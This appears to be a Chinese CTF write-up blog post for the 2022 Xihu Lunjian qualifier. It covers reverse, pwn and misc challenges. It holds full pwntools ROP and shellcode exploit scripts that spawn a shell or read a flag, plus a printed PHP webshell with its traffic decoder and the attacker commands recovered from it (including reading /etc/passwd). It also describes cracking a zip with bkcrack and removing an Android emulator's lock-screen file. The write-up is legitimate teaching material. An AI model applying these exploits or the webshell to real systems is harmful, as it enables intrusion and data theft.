2022西湖论剑-初赛

本文最后更新于:2023年10月15日 晚上

Reverse

BabyRE

程序先对输入的数据进行base8加密,并将加密后数据的0x10~0x7016230465152334621443147115031070150320711603206314033466154344611443406614230466156344661543046比较
然后对加密后数据的0~0x70进行魔改过的sha1加密,并将哈希值与67339fc92b4875b8c073c76994ef1ca4ce632d26比较
最后将输入数据的0x2a~0x30作为密钥,对base8加密后数据的前0x70个字节进行rc4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from sha1 import *
import tqdm
def decode(data):
b="012345678"
bi=""
for i in data:
bi+=bin(b.find(i))[2:].zfill(3)

bi=int(bi,2)
bi=bytes.fromhex(hex(bi)[2:])
return bi

bi=decode("162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464")
# 915572239428449843076691286116796614
data=b""

def encode(data):
b=b'01234567'
bi=""
odata=[]
for i in data:
bi+=bin(i)[2:].zfill(8)
for j in range(0,len(bi),3):
odata.append(b[int(bi[j:j+3],2)])
return bytes(odata)


"""
for i in tqdm.tqdm(range(10**6)):
data=[]
for j in range(6):
data.append(0x30+(i%10))
i//=10
data=bytes(data)+bi
data=encode(data)
hash=sha1(data)
if hash=="67339fc92b4875b8c073c76994ef1ca4ce632d26":
break
# 561516
"""

bi=b"561516915572239428449843076691286116796614"





endata=[0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61, \
0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08, \
0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76, \
0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF, \
0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8, \
0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11, \
0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD, \
0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84, \
0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0, \
0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D, \
0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE, \
0xB0, 0x70];
bbi=encode(bi)

def GetKey(data):
k=[]
k1=[]
data_l=len(data)
for i in range(256):
k.append(i)
k1.append(data[i%data_l])
n=0
for i in range(256):
n=(k1[i]+n+k[i])&0xff
n1=k[i]
k[i]=k[n]
k[n]=n1
return k

def Cipher(data,key):
enc=[]
k=key
n=0
n1=0
tmp=0
for i in range(len(data)):
n=(n+1)&0xff
n1=(n1+k[n])&0xff
tmp=k[n]
k[n]=k[n1]
k[n1]=tmp
enc.append(data[i]^k[(k[n]+k[n1])%256])
return bytes(enc)



for i in tqdm.tqdm(range(10**6)):
data=[]
for j in range(6):
data.append(0x30+(i%10))
i//=10
data=bytes(data)
k=GetKey(data)
edata=GetEnc(bbi,k)
if edata==endata:
break
print(bi+data)
# 561516915572239428449843076691286116796614807391

Pwn

Message Board

main函数代码
main函数中存在栈溢出,但只能溢出0x10个字节,只能修改rbprip的值,所以需要进行栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
p=process('./pwn')
e=ELF("./pwn",checksec=0)
bss=e.bss(0x500)+0xb0
context.binary=e
libc=ELF('./libc.so.6',checksec=0)
leave=0x4013a2
read=0x401378
rdi=0x0000000000401413
func='puts'
func_got=e.got[func]
puts=e.plt['puts']

p.send(b'rot-will')

p.send(b'a'*0xb0+p64(bss)+p64(read))
payload=p64(bss+0x100)+p64(rdi)+p64(func_got)+p64(puts)+p64(read)
payload=payload.ljust(0xb0,b'\x00')+p64(bss-0xb0)+p64(leave)
p.send(payload)
p.readuntil('Successfully~\n')
p.readuntil('\n')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(d))
libc.address=d-libc.sym[func]
rsi=0x000000000002601f+libc.address
rdx=0x0000000000142c92+libc.address
mprotect=libc.sym['mprotect']

payload=p64(bss+0x200)+p64(rdi)+p64(bss&0xffff000)+p64(rsi)+p64(0x100)+p64(rdx)+p64(0x7)+p64(mprotect)+p64(bss+0x100-0xb0+0x8*10)+p64(0)
payload+=asm(shellcraft.open("flag")+shellcraft.read(3,bss-0xb0,0x30)+shellcraft.write(1,bss-0xb0,0x30))
payload=payload.ljust(0xb0,b'\x00')
payload+=p64(bss+0x100-0xb0)+p64(leave)

p.send(payload)
p.interactive()

babycalc

main函数代码

vuln函数代码

vuln函数中可以向buf变量中写入0x100字节的数据,这里可以修改i的值,导致下面*(&v3+i)索引到其他地址处,并且当输入0x100字节的数据时,会将leave恢复的rbp的值的最低字节变成0x00,在溢出之前,还需要通过验证
如果恢复的rbp的最低字节变成0x00时,恢复的rbp刚好位于vuln函数的栈空间中,这时执行一个leave;ret,就可以执行我们构造好的rop链,但这种情况属于偶然的,所以需要进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
"""
验证
"""
from z3 import *
v3 =Int("v3")
v4 =Int("v4")
v5 =Int("v5")
v6 =Int("v6")
v7 =Int("v7")
v8 =Int("v8")
v9 =Int("v9")
v10 =Int("v10")
v11 =Int("v11")
v12 =Int("v12")
v13 =Int("v13")
v14 =Int("v14")
v15 =Int("v15")
v16 =Int("v16")
v17 =Int("v17")
v18 =Int("v18")
ns=[v3 ,v4 ,v5 ,v6 ,v7 ,v8 ,v9 ,v10,v11,v12,v13,v14,v15,v16,v17,v18]
s=Solver()
s.add(v5 * v4 * v3 - v6 == 36182)
s.add(v3 == 19)
s.add(v5 * 19 * v4 + v6 == 36322)
s.add((v13 + v3 - v8) * v16 == 32835)
s.add((v4 * v3 - v5) * v6 == 44170)
s.add((v5 + v4 * v3) * v6 == 51590)
s.add(v9 * v8 * v7 - v10 == 61549)
s.add(v10 * v15 + v4 + v18 == 19037)
s.add(v9 * v8 * v7 + v10 == 61871)
s.add((v8 * v7 - v9) * v10 == 581693)
s.add(v11 == 50)
s.add((v9 + v8 * v7) * v10 == 587167)
s.add(v13 * v12 * v11 - v14 == 1388499)
s.add(v13 * v12 * v11 + v14 == 1388701)
s.add((v12 * v11 - v13) * v14 == 640138)
s.add((v11 * v5 - v16) * v12 == 321081)
s.add((v13 + v12 * v11) * v14 == 682962)
s.add(v17 * v16 * v15 - v18 == 563565)
s.add(v17 * v16 * v15 + v18 == 563571)
s.add(v14 == 101)
s.add((v16 * v15 - v17) * v18 == 70374)
s.add((v17 + v16 * v15) * v18 == 70518)
s.check()
n=s.model()
print([n.get_interp(i) for i in ns])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from LibcSearcher import *
import time
context.log_level='debug'
def edit(num,ind,data=b''):
p.readuntil('number-')
pay=[19, 36, 53, 70, 55, 66, 17, 161, 50, 131, 212, 101, 118, 199, 24, 3]
payload=str(num&0xff).encode()
payload=payload.ljust(0x38,b'\x00')
payload+=data
payload=payload.ljust(0xd0,b'\x00')
payload+=bytes(pay)
payload=payload.ljust(0xfc,b'\x00')
if ind<0:
ind=-ind
ind=0xffffffff^ind
ind+=1
ind=ind&0xffffffff
payload+=p32(ind)
p.send(payload)

def attack(cmd=""):
gdb.attach(p,cmd)
pause()

e=ELF('./babycalc',checksec=0)
context.binary=e
bss=e.bss(0x500)
leave=0x400c18
rdi=0x0000000000400ca3
puts=e.plt['puts']
func='puts'
func_got=e.got[func]
pop_xx=0x400c9a
read_got=e.got['read']
call=0x400c80
def pwn():
#attack("bp 0x400bb7")
print(hex(func_got))
payload=p64(rdi)+p64(func_got)+p64(puts)
pop=[0,1,read_got,0x400,bss+0x8,0,call]
pop1=[0,0,bss+0x8,0,0,0,0,leave]
payload+=p64(pop_xx)+flat(pop)+flat(pop1)
print(hex(len(payload)))

edit(0x18,0x38,payload)
p.readuntil('good done\n')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
libc=LibcSearcher(func,d)
system=libc.dump('system')
bin_sh=libc.dump("str_bin_sh")

payload=p64(bss+0x100)+p64(rdi)+p64(bin_sh)+p64(system)
p.send(payload)

p.interactive()

while True:
try:
p=process("./babycalc")
# attach(p,'bp 0x400bb7')
pwn()
except:
pass
p.close()

Misc

take_the_zip_easy


题目给了一个zipeasy.zip文件,里面有两个文件都是真加密,那么只能爆破密码了,但是如果单纯的爆破的话,需要很长时间才可能成功,不过zipeasy.zip中有一个dasflow.zip,这个文件中有部分字节是已知的,所以可以通过bkcrack进行明文爆破


因为知道的信息较少,所以爆破的时间比较长,在爆破的时候可以爆破两次
一次猜测dasflow.zip不是加密压缩包,那么命令就是bkcrack -C zipeasy.zip -c dasflow.zip -x 0 504b030414000000 -x 502393 504b050600
另一次猜测dasflow.zip是加密压缩包,那么命令就是bkcrack -C zipeasy.zip -c dasflow.zip -x 0 504b030414000100 -x 502393 504b050600
从结果来看,dasflow.zip不是加密的压缩包,爆破之后获得的key2b7d78f3 0ebcabad a069728c
执行bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip导出dasflow.zip,解压之后是dasflow.pcapng
分析数据包中的http数据,发现上传了一个eval.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$key='d8ea7326e6ec5916';
$a="HBUARVJfUxFTFxAIWENEBUFNSAw%2BOBI6ZSAwCFhDRAVBTUgMPjhQEFgG.....";

echo encode(base64_decode(urldecode($a)),$key);

?>
/*
在一次请求中,发送了大量的数据
对数据解密之后获得一段代码
代码较长,只截取重要部分
*/
$parameters=array();
$_SES=array();
function run($pms){
global $ERRMSG;

reDefSystemFunc();
$_SES=&getSession();
@session_start();
$sessioId=md5(session_id());
if (isset($_SESSION[$sessioId])){
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
}
@session_write_close();

if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
/*
从这里看出恶意用户执行的命令,不仅经过eval.php的解密
还要进行一次gzdecode
*/
}
formatParameter($pms);

if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}

if (function_existsEx("set_error_handler")){
@set_error_handler("payloadErrorHandler");
}
if (function_existsEx("set_exception_handler")){
@set_exception_handler("payloadExceptionHandler");
}
$result=@evalFunc();
if ($result==null||$result===false){
$result=$ERRMSG;
}

if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
/*
从这里可以看出,返回的数据先进行了gzencode,然后再是eval.php的加密

*/
}
return $result;
}

使用命令tshark -r dasflow.pcapng -T fields -e text -Y "http contains eval.php or http contains PHPSESSID"获取恶意用户发送和服务器返回的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$key='d8ea7326e6ec5916';
$result=array("J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==","J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==","J+5pNzMyNmU2Zkj4dYADUu5NThjkf39Jf7E3ff4hHq4XSElxItE0ZQOqa0EPMTZk","J+5pNzMyNmU2ZkgaFuZ7LRQshTUz294lUGxjNTk=","J+5pNzMyNmU2ZigYcv3nT/BNgTUzmc2wYmxjNTk=","J+5pNzMyNmU2Zi64+Ds0VTQhjsQY8BRPyCrY2Nc3rMIcDDCIbRk+e9Cor9ykIJ9Gsl0zKfuMVE5XokKpeKRqt3rZnvp2eHTEDhbeeedepetBoZ2Dep0/+SVgE0BxQgLxLV9M7RheDCgxiQpFV9mQfNl2T2PI2eE6435U0MeIlGQ4ZQ==","J+5pNzMyNmU2Zqj5cnibtPMurvuY4nsse68v+er6Hq31hKszuCVScXY95SXo47T4xKF1GTONQKUqUGM1OQ==","J+5pNzMyNmU2ZjBlcX1/rfQu1mV7+X8pYbVLG/AefClpVTHi1zA2QeegNC45MTY=","J+5pNzMyNmU2Zkj7iWMG0Got0GX7+Rk0fq5M+HLQNGQWzDVrJzI2ZQ==","J+5pNzMyNmU2Zkj4dYADUu5NThjkf39Jf7E3ff4hHq4XSElxItE0ZQOqa0EPMTZk");
$comm=array("VQAVX1xWeARbAGExOTE2EF0WFQ==","VQAVX1xWeARbAGEyOTE2A2cGDVhAVw==","VQAVX1xWeARbAGExOTE2EF0WFQ==","VQAVX1xWeARbAGE4OTE2A10RI1ZAW1UWfwsFWg==","J+5pNzMyNmU2mij7dMD/qHMAs1VTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdf4KTJnCYNlV/QoTP77fccu+igG1z9beslwKBf5/P97qX1kY1jYWJ40OGVh","J+5pNzMyNmU2mij7dMD/qHMAs1RTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdcYqqt69fxiNgjXMgT/fxus/iqSfvV8U4Y+Dy+ae39Aq/moLvlyMDZDd1wCYzMyNg==","J+5pNzMyNmU2mij7dMD/qHMAs1VTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdf4TDVnCYNlV/QoTP77fccu+igG1z9beslwKBf5/P97qX1kY908xXE0OGVh","J+5pNzMyNmU2mij7dMD/qHMAs1ZTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdf4TDXlbmMG1mtWrXoe+/4qxy6veFzTMA51yCl6Rfz5qHupKDQ5qyDB1TdhNzM=","J+5pNzMyNmU2mij7dMD/qHMAs1JTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdf4TDXl6mJkVIo2Uvt+H/+teZQo+XRU1GLSKMx/fkT4qvsor344MYC0Q5YyNzMy","J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3","J+5pNzMyNmU2mij7dMD/qHMAs1NTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdd4NDEFi2IFqHVIqP98w32pewCBM9N6myx1E6/4/n/6LjdllCHsW3lkOGU=","J+5pNzMyNmU2mij7dMD/qHMAs1VTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdf4KTJnCYNlV/QoTP77fccu+igG1z9beslwKBf5/P97qX1kY1jYWJ40OGVh","J+5pNzMyNmU2mm75CDu2VDRlodXZFXRiAWzZDTEfmIYnJ3OfU57uD0vbvTa3fKCJ6A8R+ZYyG+ZRZOw6ZGl8pagIpszvET+fp0xgX18NH8Eae5ue2n5F7YT3CmDGuoiuS1HCdA3Nmht1OGM1OQ==");

for ($i=0;$i<sizeof($comm);$i++){
echo gzdecode(encode(base64_decode(($comm[$i])),$key));
}

for ($i=0;$i<sizeof($result);$i++){
echo gzdecode(encode(base64_decode(($result[$i])),$key));
}
?>
/* 执行的命令
sh -c "cd "/var/www/html/upload/";id"
sh -c "cd "/var/www/html/upload/";whoami"
sh -c "cd "/var/www/html/upload/";ls"
sh -c "cd "/var/www/html/upload/";ls /"
sh -c "cd "/var/www/html/upload/";ls .."
sh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P airDAS1231qaSW@"
sh -c "cd "/var/www/html/upload/";d"
sh -c "cd "/var/www/html/upload/";id"
sh -c "cd "/var/www/html/upload/";cat /etc/passwd"
*/

/*命令的结果
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
eval.php
0
bin
boot
dev
etc
flag
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
index.nginx-debian.html
index.php
index1.html
upload
adding: flag (stored 0%)
sh: 1: d: not found
uid=33(www-data) gid=33(www-data) groups=33(www-data)
*/

从命令中发现,服务器中存在flag文件,恶意用户对其进行了加密压缩,解压缩密码为airDAS1231qaSW@,压缩包文件为flag.zip,从数据包中找到并导出flag.zip,解压缩之后获得flag

机你太美

npbk文件是夜神模拟器的备份文件,导入文件创建模拟器,开机之后发现存在密码,使用adb连接模拟器,进入/data/system目录,删除locksettings.db文件之后重启模拟器,发现不需要密码了


模拟器中除去自带的软件之外,安装了QQSkredQQ是登不进去的,从Skred中发现了通信的记录,记录中一个备注为bbb的人向模拟器发送了多个压缩包和两张图片


所有的压缩包都带有密码,那只能先从两张图片中找线索了
1675921115230.jpgA2通道中发现数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import cv2
a=cv2.imread('1675921115230.jpg',cv2.IMREAD_UNCHANGED)


f=open("data.txt",'w')

for i in a:
for j in i:
if j[3]==255:
f.write("1")
else:
f.write("0")
f.write('\n')
"""
将数据A2通道的数据导出之后得到解密异常位置得到
e01544a9333ef62a3aa27357eb52ea8a
这是72f3.zip的密码
"""


查看另一张图片的exif信息发现,在User Comment中提示需要异或DASCTF2022

1
2
3
4
5
6
7
8
9
10
f=open('flag','rb')
d=b'DASCTF2022'
d1=f.read()
e=[]
for i,v in enumerate(d1):
e.append(v^d[i%10])
print(bytes(e))
"""
将flag文件的内容异或DASCTF2022后得到flag
"""

2022西湖论剑-初赛
https://rot-will.github.io/page/wp/2022西湖论剑初赛wp/
作者
rot_will
发布于
2023年2月7日
更新于
2023年10月15日
许可协议